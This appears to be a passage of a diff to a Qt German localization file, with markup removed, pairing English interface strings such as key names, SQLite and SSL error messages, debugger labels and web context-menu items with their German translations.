Lange Seite - - Home - Pos1 + + Short side + Kurze Seite - - End - Ende + + Current Page + + + + QPrintWidget - - Left - Links + + Form + Formular - - Up - Hoch + + Printer + Drucker - - Right - Rechts + + &Name: + &Name: - - Down - Runter + + P&roperties + &Eigenschaften - - PgUp - Bild aufwärts + + Location: + Standort: - - PgDown - Bild abwärts + + Preview + Vorschau - - CapsLock - Feststelltaste + + Type: + Typ: - - NumLock - Zahlen-Feststelltaste + + Output &file: + Ausgabe&datei: - - ScrollLock - Rollen-Feststelltaste + + ... + ... + + + QProcess - - Menu - Menü + + + Could not open input redirection for reading + Die Eingabeumleitung konnte nicht zum Lesen geöffnet werden - - Help - Hilfe + + + Could not open output redirection for writing + Die Ausgabeumleitung konnte nicht zum Lesen geöffnet werden - - Back - Zurück + + Resource error (fork failure): %1 + Ressourcenproblem ("fork failure"): %1 - - Forward - Vorwärts + + + + + + + + + + Process operation timed out + Zeitüberschreitung - - Stop - Abbrechen + + + + + Error reading from process + Das Lesen vom Prozess schlug fehl - - Refresh - Aktualisieren + + + + Error writing to process + Das Schreiben zum Prozess schlug fehl - - Volume Down - Lautstärke - + + Process crashed + Der Prozess ist abgestürzt - - Volume Mute - Ton aus + + No program defined + Es wurde kein Programm angegeben - - Volume Up - Lautstärke + + + Process failed to start: %1 + Das Starten des Prozesses schlug fehl: %1 + + + QProgressDialog - - Bass Boost - Bass-Boost + + Cancel + Abbrechen + + + QPushButton - - Bass Up - Bass + + + Open + Öffnen + + + QRadioButton - - Bass Down - Bass - + + Check + Ankreuzen + + + QRegExp - - Treble Up - Höhen + + + no error occurred + kein Fehler - Treble Down - Höhen - + disabled feature used + deaktivierte Eigenschaft wurde benutzt - Media Play - Wiedergabe + bad char class syntax + falsche Syntax für Zeichenklasse - Media Stop - Stopp + bad lookahead syntax + falsche Syntax für Lookahead - Media Previous - Vorheriger + bad repetition syntax + falsche Syntax für Wiederholungen - Media Next - Nächster + invalid octal value + ungültiger Oktal-Wert - Media Record - Aufzeichnen + missing left delim + fehlende linke Begrenzung - - Favorites - Favoriten + + unexpected end + unerwartetes Ende - Search - Suchen + met internal limit + internes Limit erreicht - Standby - Standby + invalid interval + ungültiges Intervall - Open URL - URL öffnen + invalid category + ungültige Kategorie + + + QSQLite2Driver - - Launch Mail - Mail starten + + Error opening database + Die Datenbankverbindung konnte nicht geöffnet werden - - Launch Media - Medienspieler starten + + Unable to begin transaction + Es konnte keine Transaktion gestartet werden - - Launch (0) - (0) starten + + Unable to commit transaction + Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) - - Launch (1) - (1) starten + + Unable to rollback transaction + Die Transaktion kann nicht rückgängig gemacht werden + + + QSQLite2Result - - Launch (2) - (2) starten + + Unable to fetch results + Das Ergebnis konnte nicht abgeholt werden - - Launch (3) - (3) starten + + Unable to execute statement + Der Befehl konnte nicht ausgeführt werden + + + QSQLiteDriver - - Launch (4) - (4) starten + + Error opening database + Die Datenbankverbindung konnte nicht geöffnet werden - - Launch (5) - (5) starten + + Error closing database + Die Datenbankverbindung konnte nicht geschlossen werden - - Launch (6) - (6) starten + + Unable to begin transaction + Es konnte keine Transaktion gestartet werden - - Launch (7) - (7) starten + + Unable to commit transaction + Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) - - Launch (8) - (8) starten + + Unable to rollback transaction + Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + + QSQLiteResult - - Launch (9) - (9) starten + + + + Unable to fetch row + Der Datensatz konnte nicht abgeholt werden - - Launch (A) - (A) starten + + Unable to execute statement + Der Befehl konnte nicht ausgeführt werden - - Launch (B) - (B) starten + + Unable to reset statement + Der Befehl konnte nicht zurückgesetzt werden - - Launch (C) - (C) starten + + Unable to bind parameters + Die Parameter konnte nicht gebunden werden - - Launch (D) - (D) starten + + Parameter count mismatch + Die Anzahl der Parameter ist falsch - - Launch (E) - (E) starten + + No query + Kein Abfrage + + + QScriptBreakpointsModel - - Launch (F) - (F) starten + + ID + ID - - Monitor Brightness Up - Monitor heller + + Location + Stelle - - Monitor Brightness Down - Monitor dunkler + + Condition + Bedingung - - Keyboard Light On/Off - Tastaturbeleuchtung Ein/Aus + + Ignore-count + Auslösen nach - - Keyboard Brightness Up - Tastaturbeleuchtung heller + + Single-shot + Einmal auslösen - - Keyboard Brightness Down - Tastaturbeleuchtung dunkler + + Hit-count + Ausgelöst + + + QScriptBreakpointsWidget - - Power Off - Ausschalten + + New + Neu - - Wake Up - Aufwecken + + Delete + Löschen + + + QScriptDebugger - - Eject - Auswerfen + + + Go to Line + Gehe zu Zeile - - Screensaver - Bildschirmschoner + + Line: + Zeile: - - WWW - Internet + + Interrupt + Unterbrechen - - Sleep - Schlafmodus + + Shift+F5 + Shift+F5 - - LightBulb - Beleuchtung + + Continue + Weiter - - Shop - Shop + + F5 + F5 - - History - Verlauf + + Step Into + Einzelschritt herein - - Add Favorite - Lesezeichen hinzufügen + + F11 + F11 - - Hot Links - Empfohlene Verweise + + Step Over + Einzelschritt über - - Adjust Brightness - Helligkeit einstellen + + F10 + F10 - - Finance - Finanzen + + Step Out + Einzelschritt heraus - - Community - Community + + Shift+F11 + Shift+F11 - - Audio Rewind - Audio rückspulen + + Run to Cursor + Bis Cursor ausführen - - Back Forward - Hinterstes nach vorn + + Ctrl+F10 + Ctrl+F10 - - Application Left - Anwendung links + + Run to New Script + Bis zu neuem Skript ausführen - - Application Right - Anwendung rechts + + Toggle Breakpoint + Haltepunkt umschalten - Book - Buch + F9 + F9 - - CD - CD + + Clear Debug Output + Debug-Ausgabe löschen - - Calculator - Rechner + + Clear Error Log + Fehlerausgabe löschen - - Clear - Löschen + + Clear Console + Konsole löschen - - Clear Grab - Zugriff löschen + + &Find in Script... + &Suche im Skript... - Close - Schließen + Ctrl+F + Ctrl+F - - Copy - Kopieren + + Find &Next + &Nächste Fundstelle - - Cut - Ausschneiden + + F3 + F3 - - Display - Anzeigen + + Find &Previous + Vorhergehende Fundstelle - - DOS - DOS + + Shift+F3 + Shift+F3 - - Documents - Dokumente + + Ctrl+G + Ctrl+G - - Spreadsheet - Spreadsheet + + Debug + Debuggen + + + QScriptDebuggerCodeFinderWidget - - Browser - Browser + + Close + Schließen - - Game - Spiel + + Previous + Vorige - - Go - Los + + Next + Nächste - - iTouch - iTouch + + Case Sensitive + Groß/Kleinschreibung beachten - - Logoff - Logoff + + Whole words + Ganze Worte - - Market - Markt + + <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped + <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Die Suche hat das Ende erreicht + + + QScriptDebuggerLocalsModel - - Meeting - Versammlung + + Name + Name - - Keyboard Menu - Tastaturmenü + + Value + Wert + + + QScriptDebuggerStackModel - - Menu PB - Menü PB + + Level + Ebene - - My Sites - Meine Orte + + Name + Name - - News - Nachrichten + + Location + Stelle + + + QScriptEdit - - Home Office - Home Office + + Toggle Breakpoint + Haltepunkt umschalten - - Option - Option + + Disable Breakpoint + Haltepunkt deaktivieren - Paste - Einfügen + Enable Breakpoint + Haltepunkt aktivieren - - Phone - Telefon + + Breakpoint Condition: + Bedingung: + + + QScriptEngineDebugger - - Reply - Antworten + + Loaded Scripts + Geladene Skripte - - Reload - Neu laden + + Breakpoints + Haltepunkte - - Rotate Windows - Fenster rotieren + + Stack + Stapel - - Rotation PB - Rotation PB + + Locals + Lokale Variablen - - Rotation KB - Rotation KB + + Console + Konsole - - Save - Speichern + + Debug Output + Debug-Ausgabe - - Send - Senden + + Error Log + Fehlerausgabe - - Spellchecker - Rechtschreibprüfung + + Search + Suche - - Split Screen - Bildschirm teilen + + View + Ansicht - - Support - Hilfe + + Qt Script Debugger + Qt Script Debugger + + + QScriptNewBreakpointWidget - - Task Panel - Task-Leiste + + Close + Schließen + + + QScrollBar - - Terminal - Terminal + + Scroll here + Hierher scrollen - - Tools - Werkzeuge + + Left edge + Linker Rand - - Travel - Reise + + Top + Anfang - Video - Video + Right edge + Rechter Rand - - Word Processor - Textverarbeitung + + Bottom + Ende - - XFer - XFer + + Page left + Eine Seite nach links - - Zoom In - Vergrößern + + + Page up + Eine Seite nach oben - Zoom Out - Verkleinern + Page right + Eine Seite nach rechts - - Away - Abwesend + + + Page down + Eine Seite nach unten - - Messenger - Messenger + + Scroll left + Nach links scrollen - - WebCam - WebCam + + Scroll up + Nach oben scrollen - Mail Forward - Weiterleitung + Scroll right + Nach rechts scrollen - - Pictures - Bilder + + Scroll down + Nach unten scrollen - - Music - Musik + + Line up + Ausrichten - - Battery - Batterie + + Position + Position - - Bluetooth - Bluetooth + + Line down + Eine Zeile nach unten + + + QSharedMemory - - Wireless - Drahtlos + + %1: create size is less then 0 + %1: Die Größenangabe für die Erzeugung ist kleiner als Null - - Ultra Wide Band - Ultra Wide Band + + + %1: unable to lock + %1: Sperrung fehlgeschlagen - - Audio Forward - Audio vorspulen + + %1: unable to unlock + %1: Die Sperrung konnte nicht aufgehoben werden - - Audio Repeat - Audio wiederholen + + + + %1: permission denied + %1: Zugriff verweigert - - Audio Random Play - Audio zufällige Auswahl spielen + + + + %1: already exists + %1: existiert bereits - - Subtitle - Untertitel + + %1: doesn't exists + %1: existiert nicht - - Audio Cycle Track - Audiospur wechseln + + + + %1: out of resources + %1: Keine Ressourcen mehr verfügbar - - Time - Zeit + + + + %1: unknown error %2 + %1: Unbekannter Fehler %2 - - View - Ansicht + + %1: key is empty + %1: Ungültige Schlüsselangabe (leer) - - Top Menu - Hauptmenü + + %1: ftok failed + %1: ftok-Aufruf schlug fehl - - Suspend - Pause + + + + %1: unable to make key + %1: Es kann kein Schlüssel erzeugt werden - - Hibernate - Hibernate + + + %1: doesn't exist + %1: existiert nicht - - Print Screen - Bildschirm drucken + + %1: UNIX key file doesn't exist + %1: Die Unix-Schlüsseldatei existiert nicht - - Page Up - Bild aufwärts + + %1: system-imposed size restrictions + %1: Ein systembedingtes Limit der Größe wurde erreicht + + + + %1: not attached + %1: nicht verbunden - - Page Down - Bild abwärts + + + %1: invalid size + %1: Ungültige Größe - - Caps Lock - Feststelltaste + + + %1: key error + %1: Fehlerhafter Schlüssel - - Num Lock - Zahlen-Feststelltaste + + %1: size query failed + %1: Die Abfrage der Größe schlug fehl - - Number Lock - Zahlen-Feststelltaste + + %1: unable to set key on lock + %1: Es kann kein Schlüssel für die Sperrung gesetzt werden + + + QShortcut - - Scroll Lock - Rollen-Feststelltaste + + Space + Leertaste - Insert - Einfügen + Esc + Esc - Delete - Löschen + Tab + Tab - Escape - Escape + Backtab + Rück-Tab - System Request - System Request + Backspace + Rücktaste - - - Select - Auswählen + + Return + Return - Yes - Ja + Enter + Enter - No - Nein + Ins + Einfg - - Context1 - Kontext1 + + Del + Entf - Context2 - Kontext2 + Pause + Pause - Context3 - Kontext3 + Print + Druck - Context4 - Kontext4 + SysReq + SysReq - Call - Anruf + Home + Pos1 - Hangup - Auflegen + End + Ende - Flip - Umdrehen + Left + Links - - - Ctrl - Strg + + Up + Hoch - - - Shift - Umschalt + + Right + Rechts - - - Alt - Alt + + Down + Runter - - - Meta - Meta + + PgUp + Bild aufwärts - - + - + + + PgDown + Bild abwärts - - F%1 - F%1 + + CapsLock + Feststelltaste - - Home Page - Startseite + + NumLock + Zahlen-Feststelltaste - - - QSlider - - Page left - Eine Seite nach links + + ScrollLock + Rollen-Feststelltaste - - Page up - Eine Seite nach oben + + Menu + Menü - - Position - Position + + Help + Hilfe - - Page right - Eine Seite nach rechts + + Back + Zurück - - Page down - Eine Seite nach unten + + Forward + Vorwärts - - - QSocks5SocketEngine - - Connection to proxy refused - Der Proxy-Server hat den Aufbau einer Verbindung verweigert + + Stop + Abbrechen - - Connection to proxy closed prematurely - Der Proxy-Server hat die Verbindung vorzeitig beendet + + Refresh + Aktualisieren - - Proxy host not found - Der Proxy-Server konnte nicht gefunden werden + + Volume Down + Lautstärke - - - Connection to proxy timed out - Bei der Verbindung mit dem Proxy-Server wurde ein Zeitlimit überschritten + + Volume Mute + Ton aus - - Proxy authentication failed - Die Authentifizierung beim Proxy-Server schlug fehl + + Volume Up + Lautstärke + - Proxy authentication failed: %1 - Die Authentifizierung beim Proxy-Server schlug fehl: %1 + Bass Boost + Bass-Boost - - SOCKS version 5 protocol error - Protokoll-Fehler (SOCKS version 5) + + Bass Up + Bass + - - General SOCKSv5 server failure - Allgemeiner Fehler bei der Kommunikation mit dem SOCKSv5-Server + + Bass Down + Bass - - - Connection not allowed by SOCKSv5 server - Der SOCKSv5-Server hat die Verbindung verweigert + + Treble Up + Höhen + - - TTL expired - TTL verstrichen + + Treble Down + Höhen - - - SOCKSv5 command not supported - Dieses SOCKSv5-Kommando wird nicht unterstützt + + Media Play + Wiedergabe - - Address type not supported - Dieser Adresstyp wird nicht unterstützt + + Media Stop + Stopp - - Unknown SOCKSv5 proxy error code 0x%1 - Unbekannten Fehlercode vom SOCKSv5-Proxy-Server erhalten: 0x%1 + + Media Previous + Vorheriger - - - Network operation timed out - Das Zeitlimit für die Operation wurde überschritten + + + Media Next + Nächster - - - QSoftKeyManager - - Ok - Ok + + Media Record + Aufzeichnen - - Select - Auswählen + + Favorites + Favoriten - - Done - Fertig + + Search + Suchen - - Options - Optionen + + Standby + Standby - - Cancel - Abbrechen + + Open URL + URL öffnen - - Exit - Beenden + + Launch Mail + Mail starten - - - QSpinBox - - More - Mehr + + Launch Media + Medienspieler starten - - Less - Weniger + + Launch (0) + (0) starten - - - QSql - - Delete - Löschen + + Launch (1) + (1) starten - Delete this record? - Diesen Datensatz löschen? + Launch (2) + (2) starten - - - Yes - Ja + Launch (3) + (3) starten - - - - No - Nein + + Launch (4) + (4) starten - - Insert - Einfügen + + Launch (5) + (5) starten - - Update - Aktualisieren + + Launch (6) + (6) starten - - Save edits? - Änderungen speichern? + + Launch (7) + (7) starten - - Cancel - Abbrechen + + Launch (8) + (8) starten - - Confirm - Bestätigen + + Launch (9) + (9) starten - Cancel your edits? - Änderungen verwerfen? + Launch (A) + (A) starten - - - QSslSocket - - Unable to write data: %1 - Die Daten konnten nicht geschrieben werden: %1 + + Launch (B) + (B) starten - - Unable to decrypt data: %1 - Die Daten konnten nicht entschlüsselt werden: %1 + + Launch (C) + (C) starten - - Error while reading: %1 - Beim Lesen ist ein Fehler aufgetreten: %1 + + Launch (D) + (D) starten - - Error during SSL handshake: %1 - Im Ablauf des SSL-Protokolls ist ein Fehler aufgetreten: %1 + + Launch (E) + (E) starten - - Error creating SSL context (%1) - Es konnte keine SSL-Kontextstruktur erzeugt werden (%1) + + Launch (F) + (F) starten - - Invalid or empty cipher list (%1) - Ungültige oder leere Schlüsselliste (%1) + + Monitor Brightness Up + Monitor heller - - Private key does not certify public key, %1 - Der private Schlüssel passt nicht zum öffentlichen Schlüssel, %1 + + Monitor Brightness Down + Monitor dunkler - - Error creating SSL session, %1 - Es konnte keine SSL-Sitzung erzeugt werden, %1 + + Keyboard Light On/Off + Tastaturbeleuchtung Ein/Aus - - Error creating SSL session: %1 - Es konnte keine SSL-Sitzung erzeugt werden: %1 + + Keyboard Brightness Up + Tastaturbeleuchtung heller - - Cannot provide a certificate with no key, %1 - Ohne Schlüssel kann kein Zertifikat zur Verfügung gestellt werden, %1 + + Keyboard Brightness Down + Tastaturbeleuchtung dunkler - - Error loading local certificate, %1 - Das lokale Zertifikat konnte nicht geladen werden, %1 + + Power Off + Ausschalten - - Error loading private key, %1 - Der private Schlüssel konnte nicht geladen werden, %1 + + Wake Up + Aufwecken - - No error - Kein Fehler + + Eject + Auswerfen - - The issuer certificate could not be found - Das Zertifikat des Ausstellers konnte nicht gefunden werden + + Screensaver + Bildschirmschoner - - The certificate signature could not be decrypted - Die Signatur des Zertifikats konnte nicht entschlüsselt werden + + WWW + Internet - - The public key in the certificate could not be read - Der öffentliche Schlüssel konnte nicht gelesen werden + + Sleep + Schlafmodus - - The signature of the certificate is invalid - Die Signatur des Zertifikats ist ungültig + + LightBulb + Beleuchtung - - The certificate is not yet valid - Das Zertifikat ist noch nicht gültig + + Shop + Shop - - The certificate has expired - Die Gültigkeit des Zertifikats ist abgelaufen + + History + Verlauf - - The certificate's notBefore field contains an invalid time - Das Feld 'notBefore' des Zertifikats enthält eine ungültige Zeit + + Add Favorite + Lesezeichen hinzufügen - - The certificate's notAfter field contains an invalid time - Das Feld 'notAfter' des Zertifikats enthält eine ungültige Zeit + + Hot Links + Empfohlene Verweise - - The certificate is self-signed, and untrusted - Das Zertifikat ist selbstsigniert und daher nicht vertrauenswürdig + + Adjust Brightness + Helligkeit einstellen - - The root certificate of the certificate chain is self-signed, and untrusted - Das oberste Zertifikat der Kette ist selbstsigniert und daher nicht vertrauenswürdig + + Finance + Finanzen - - The issuer certificate of a locally looked up certificate could not be found - Das Zertifikat des Ausstellers eines lokal gefundenen Zertifikats konnte nicht gefunden werden + + Community + Community - - No certificates could be verified - Keines der Zertifikate konnte verifiziert werden + + Audio Rewind + Audio rückspulen - - One of the CA certificates is invalid - Eines der Zertifikate der Zertifizierungsstelle ist ungültig + + Back Forward + Hinterstes nach vorn - - The basicConstraints path length parameter has been exceeded - Die Länge des basicConstraints-Pfades wurde überschritten + + Application Left + Anwendung links - - The supplied certificate is unsuitable for this purpose - Das angegebene Zertifikat kann in diesem Fall nicht verwendet werden + + Application Right + Anwendung rechts - - The root CA certificate is not trusted for this purpose - Das oberste Zertifikat der Zertifizierungsstelle ist für diesen Fall nicht vertrauenswürdig + + Book + Buch - - The root CA certificate is marked to reject the specified purpose - Das oberste Zertifikat der Zertifizierungsstelle weist diesen Fall auf Grund einer speziellen Kennzeichnung zurück + + CD + CD - - The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate - Das Zertifikat des betrachteten Ausstellers wurde zurückgewiesen da sein Subjektname nicht dem Namen des Austellers des aktuellen Zertifikats entspricht + + Calculator + Rechner - - The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate - Das Zertifikat des betrachteten Ausstellers wurde zurückgewiesen da Ausstellername und Seriennummer vorhanden sind und nicht dem Bezeichner der Zertifizierungsstelle des aktuellen Zertifikats entsprechen + + Clear + Löschen - - The peer did not present any certificate - Die Gegenstelle hat kein Zertifikat angegeben + + Clear Grab + Zugriff löschen - - The host name did not match any of the valid hosts for this certificate - Der Name des Hosts ist keiner aus der Liste der für dieses Zertifikat gültigen Hosts + + Close + Schließen - - Unknown error - Unbekannter Fehler + + Copy + Kopieren - - - QStateMachine - - Missing initial state in compound state '%1' - Der Anfangszustand des zusammengesetzten Zustands '%1' fehlt + + Cut + Ausschneiden - - Missing default state in history state '%1' - Der Anfangszustand im Verlauf bei Zustand '%1' fehlt + + Display + Anzeigen - - No common ancestor for targets and source of transition from state '%1' - Die Ziele und die Quelle des Übergangs vom Zustand '%1' haben keinen gemeinsamen Ursprung + + DOS + DOS - - Unknown error - Unbekannter Fehler + + Documents + Dokumente - - - QSystemSemaphore - - %1: does not exist - %1: Nicht existent + + Spreadsheet + Spreadsheet - - - %1: out of resources - %1: Keine Ressourcen mehr verfügbar + + Browser + Browser - - - %1: permission denied - %1: Zugriff verweigert + + Game + Spiel - - %1: already exists - %1: Existiert bereits + + Go + Los - - - %1: unknown error %2 - %1: Unbekannter Fehler %2 + + iTouch + iTouch - - - QTDSDriver - - Unable to open connection - Die Datenbankverbindung kann nicht geöffnet werden + + Logoff + Logoff - - Unable to use database - Die Datenbank kann nicht verwendet werden + + Market + Markt - - - QTabBar - - Scroll Left - Nach links scrollen + + Meeting + Versammlung - - Scroll Right - Nach rechts scrollen + + Keyboard Menu + Tastaturmenü - - - QTcpServer - - Operation on socket is not supported - Diese Socket-Operation wird nicht unterstützt + + Menu PB + Menü PB - - - QTextControl - - &Undo - &Rückgängig + + My Sites + Meine Orte - - &Redo - Wieder&herstellen + + News + Nachrichten - - Cu&t - &Ausschneiden + + Home Office + Home Office - - &Copy - &Kopieren + + Option + Option - - Copy &Link Location - &Link-Adresse kopieren + + Paste + Einfügen - - &Paste - Einf&ügen + + Phone + Telefon - - Delete - Löschen + + Reply + Antworten - - Select All - Alles auswählen + + Reload + Neu laden - - - QToolButton - - - Press - Drücken + + Rotate Windows + Fenster rotieren - - - Open - Öffnen + + Rotation PB + Rotation PB - - - QUdpSocket - - This platform does not support IPv6 - Diese Plattform unterstützt kein IPv6 + + Rotation KB + Rotation KB + + + + Save + Speichern - - - QUndoGroup - - Undo - Rückgängig + + Send + Senden - - Redo - Wiederherstellen + + Spellchecker + Rechtschreibprüfung - - - QUndoModel - - <empty> - <leer> + + Split Screen + Bildschirm teilen - - - QUndoStack - - Undo - Rückgängig + + Support + Hilfe - - Redo - Wiederherstellen + + Task Panel + Task-Leiste - - - QUnicodeControlCharacterMenu - - LRM Left-to-right mark - LRM Left-to-right mark + + Terminal + Terminal - RLM Right-to-left mark - RLM Right-to-left mark + Tools + Werkzeuge - ZWJ Zero width joiner - ZWJ Zero width joiner + Travel + Reise - ZWNJ Zero width non-joiner - ZWNJ Zero width non-joiner + Video + Video - ZWSP Zero width space - ZWSP Zero width space + Word Processor + Textverarbeitung - LRE Start of left-to-right embedding - LRE Start of left-to-right embedding + XFer + XFer - RLE Start of right-to-left embedding - RLE Start of right-to-left embedding + Zoom In + Vergrößern - LRO Start of left-to-right override - LRO Start of left-to-right override + Zoom Out + Verkleinern - RLO Start of right-to-left override - RLO Start of right-to-left override + Away + Abwesend - PDF Pop directional formatting - PDF Pop directional formatting + Messenger + Messenger - - Insert Unicode control character - Unicode-Kontrollzeichen einfügen + + WebCam + WebCam - - - QWebFrame - - Request cancelled - Anfrage wurde abgebrochen + + Mail Forward + Weiterleitung - - Request blocked - Anfrage wurde abgewiesen + + Pictures + Bilder - - Cannot show URL - Der URL kann nicht angezeigt werden + + Music + Musik - - Frame load interrupted by policy change - Das Laden des Rahmens wurde durch eine Änderung der Richtlinien unterbrochen + + Battery + Batterie - - Cannot show mimetype - Dieser Mime-Typ kann nicht angezeigt werden + + Bluetooth + Bluetooth - - File does not exist - Die Datei existiert nicht + + Wireless + Drahtlos - - - QWebPage - - Submit - default label for Submit buttons in forms on web pages - Senden + + Ultra Wide Band + Ultra Wide Band - - Submit - Submit (input element) alt text for <input> elements with no alt, title, or value - Senden + + Audio Forward + Audio vorspulen - - Reset - default label for Reset buttons in forms on web pages - Rücksetzen + + Audio Repeat + Audio wiederholen - - Choose File - title for file button used in HTML forms - Durchsuchen + + Audio Random Play + Audio zufällige Auswahl spielen - - No file selected - text to display in file button used in HTML forms when no file is selected - Es ist keine Datei ausgewählt + + Subtitle + Untertitel - - Open in New Window - Open in New Window context menu item - In neuem Fenster öffnen + + Audio Cycle Track + Audiospur wechseln - - Save Link... - Download Linked File context menu item - Ziel speichern unter... + + Time + Zeit - - Copy Link - Copy Link context menu item - Link-Adresse kopieren + + View + Ansicht - - Open Image - Open Image in New Window context menu item - Grafik in neuem Fenster öffnen + + Top Menu + Hauptmenü - - Save Image - Download Image context menu item - Grafik speichern unter + + Suspend + Pause - - Copy Image - Copy Link context menu item - Grafik kopieren + + Hibernate + Hibernate - - Open Frame - Open Frame in New Window context menu item - Frame öffnen + + Print Screen + Bildschirm drucken - - Copy - Copy context menu item - Kopieren + + Page Up + Bild aufwärts - - Go Back - Back context menu item - Zurück + + Page Down + Bild abwärts - - Go Forward - Forward context menu item - Vor + + Caps Lock + Feststelltaste - - Stop - Stop context menu item - Abbrechen + + Num Lock + Zahlen-Feststelltaste - - Reload - Reload context menu item - Neu laden + + Number Lock + Zahlen-Feststelltaste - - Cut - Cut context menu item - Ausschneiden + + Scroll Lock + Rollen-Feststelltaste - - Paste - Paste context menu item + + Insert Einfügen - - No Guesses Found - No Guesses Found context menu item - Keine Vorschläge gefunden - - - - Ignore - Ignore Spelling context menu item - Ignorieren + + Delete + Löschen - - Add To Dictionary - Learn Spelling context menu item - In Wörterbuch aufnehmen + + Escape + Escape - - Search The Web - Search The Web context menu item - Im Web suchen + + System Request + System Request - - Look Up In Dictionary - Look Up in Dictionary context menu item - Im Wörterbuch nachschauen + + + Select + Auswählen - - Open Link - Open Link context menu item - Adresse öffnen + + Yes + Ja - - Ignore - Ignore Grammar context menu item - Ignorieren + + No + Nein - - Spelling - Spelling and Grammar context sub-menu item - Rechtschreibung + + Context1 + Kontext1 - - Show Spelling and Grammar - menu item title - Rechtschreibung und Grammatik anzeigen + + Context2 + Kontext2 - Hide Spelling and Grammar - menu item title - Rechtschreibung und Grammatik nicht anzeigen + Context3 + Kontext3 - - Check Spelling - Check spelling context menu item - Rechtschreibung prüfen + + Context4 + Kontext4 - - Check Spelling While Typing - Check spelling while typing context menu item - Rechtschreibung während des Schreibens überprüfen + + Call + Anruf - - Check Grammar With Spelling - Check grammar with spelling context menu item - Grammatik mit Rechtschreibung zusammen überprüfen + + Hangup + Auflegen - - Fonts - Font context sub-menu item - Fonts + + Flip + Umdrehen - - Bold - Bold context menu item - Fett + + + Ctrl + Strg - - Italic - Italic context menu item - Kursiv + + + Shift + Umschalt - - Underline - Underline context menu item - Unterstrichen + + + Alt + Alt - - Outline - Outline context menu item - Umriss + + + Meta + Meta - - Direction - Writing direction context sub-menu item - Schreibrichtung + + + + + - - Text Direction - Text direction context sub-menu item - Schreibrichtung + + F%1 + F%1 - - Default - Default writing direction context menu item - Vorgabe + + Home Page + Startseite + + + QSlider - - Left to Right - Left to Right context menu item - Von links nach rechts + + Page left + Eine Seite nach links - - Right to Left - Right to Left context menu item - Von rechts nach links + + Page up + Eine Seite nach oben - - Loading... - Media controller status message when the media is loading - Lädt... + + Position + Position - - Live Broadcast - Media controller status message when watching a live broadcast - Live-Übertragung + + Page right + Eine Seite nach rechts - - Audio Element - Media controller element - Audio-Element + + Page down + Eine Seite nach unten + + + QSocks5SocketEngine - - Video Element - Media controller element - Video-Element + + Connection to proxy refused + Der Proxy-Server hat den Aufbau einer Verbindung verweigert - - Mute Button - Media controller element - Stummschalttaste + + Connection to proxy closed prematurely + Der Proxy-Server hat die Verbindung vorzeitig beendet - - Unmute Button - Media controller element - Abstelltaste für Stummschaltung + + Proxy host not found + Der Proxy-Server konnte nicht gefunden werden - - Play Button - Media controller element - Abspielknopf + + Connection to proxy timed out + Bei der Verbindung mit dem Proxy-Server wurde ein Zeitlimit überschritten - - Pause Button - Media controller element - Pause-Knopf + + Proxy authentication failed + Die Authentifizierung beim Proxy-Server schlug fehl - - Slider - Media controller element - Schieberegler + + Proxy authentication failed: %1 + Die Authentifizierung beim Proxy-Server schlug fehl: %1 - - Slider Thumb - Media controller element - Schieberegler-Griff + + SOCKS version 5 protocol error + Protokoll-Fehler (SOCKS version 5) - - Rewind Button - Media controller element - Rückspultaste + + General SOCKSv5 server failure + Allgemeiner Fehler bei der Kommunikation mit dem SOCKSv5-Server - - Return to Real-time Button - Media controller element - Kehre zu Echtzeit zurück + + Connection not allowed by SOCKSv5 server + Der SOCKSv5-Server hat die Verbindung verweigert - - Elapsed Time - Media controller element - Spielzeit + + TTL expired + TTL verstrichen - - Remaining Time - Media controller element - Verbleibende Zeit + + SOCKSv5 command not supported + Dieses SOCKSv5-Kommando wird nicht unterstützt - - Status Display - Media controller element - Statusanzeige + + Address type not supported + Dieser Adresstyp wird nicht unterstützt - - Fullscreen Button - Media controller element - Vollbild-Taste + + Unknown SOCKSv5 proxy error code 0x%1 + Unbekannten Fehlercode vom SOCKSv5-Proxy-Server erhalten: 0x%1 - - Seek Forward Button - Media controller element - Vorlauftaste + + Network operation timed out + Das Zeitlimit für die Operation wurde überschritten + + + QSoftKeyManager - - Seek Back Button - Media controller element - Rücklauftaste + + Ok + Ok - - Audio element playback controls and status display - Media controller element - Audio-Steuerung und Statusanzeige + + Select + Auswählen - - Video element playback controls and status display - Media controller element - Video-Steuerung und Statusanzeige + + Done + Fertig - - Mute audio tracks - Media controller element - Schalte Tonspuren stumm + + Options + Optionen - - Unmute audio tracks - Media controller element - Stummschaltung der Tonspuren aufheben + + Cancel + Abbrechen - - Begin playback - Media controller element - Abspielen + + Exit + Beenden + + + QSpinBox - - Pause playback - Media controller element - Pause + + More + Mehr - Movie time scrubber - Media controller element - Abspielzeit + Less + Weniger + + + QSql - - Movie time scrubber thumb - Media controller element - Griff zur Einstellung der Abspielzeit + + Delete + Löschen - - Rewind movie - Media controller element - Film zurückspulen + + Delete this record? + Diesen Datensatz löschen? - - Return streaming movie to real-time - Media controller element - Setze Film auf Echtzeit zurück + + + + Yes + Ja - - Current movie time - Media controller element - Abspielzeit des Films + + + + No + Nein - - Remaining movie time - Media controller element - Verbleibende Zeit des Films + + Insert + Einfügen - Current movie status - Media controller element - Status des Films + Update + Aktualisieren - - Play movie in full-screen mode - Media controller element - Film im Vollbildmodus abspielen + + Save edits? + Änderungen speichern? - - Seek quickly back - Media controller element - Schnelles Rückwärtssuchen + + Cancel + Abbrechen - - Seek quickly forward - Media controller element - Schnelles Vorwärtssuchen + + Confirm + Bestätigen - - Indefinite time - Media time description - Unbegrenzte Zeit + + Cancel your edits? + Änderungen verwerfen? + + + QSslSocket - - %1 days %2 hours %3 minutes %4 seconds - Media time description - %1 Tage %2 Stunden %3 Minuten %4 Sekunden + + Unable to write data: %1 + Die Daten konnten nicht geschrieben werden: %1 - - %1 hours %2 minutes %3 seconds - Media time description - %1 Stunden %2 Minuten %3 Sekunden + + Unable to decrypt data: %1 + Die Daten konnten nicht entschlüsselt werden: %1 - - %1 minutes %2 seconds - Media time description - %1 Minuten %2 Sekunden + + Error while reading: %1 + Beim Lesen ist ein Fehler aufgetreten: %1 - - %1 seconds - Media time description - %1 Sekunden + + Error during SSL handshake: %1 + Im Ablauf des SSL-Protokolls ist ein Fehler 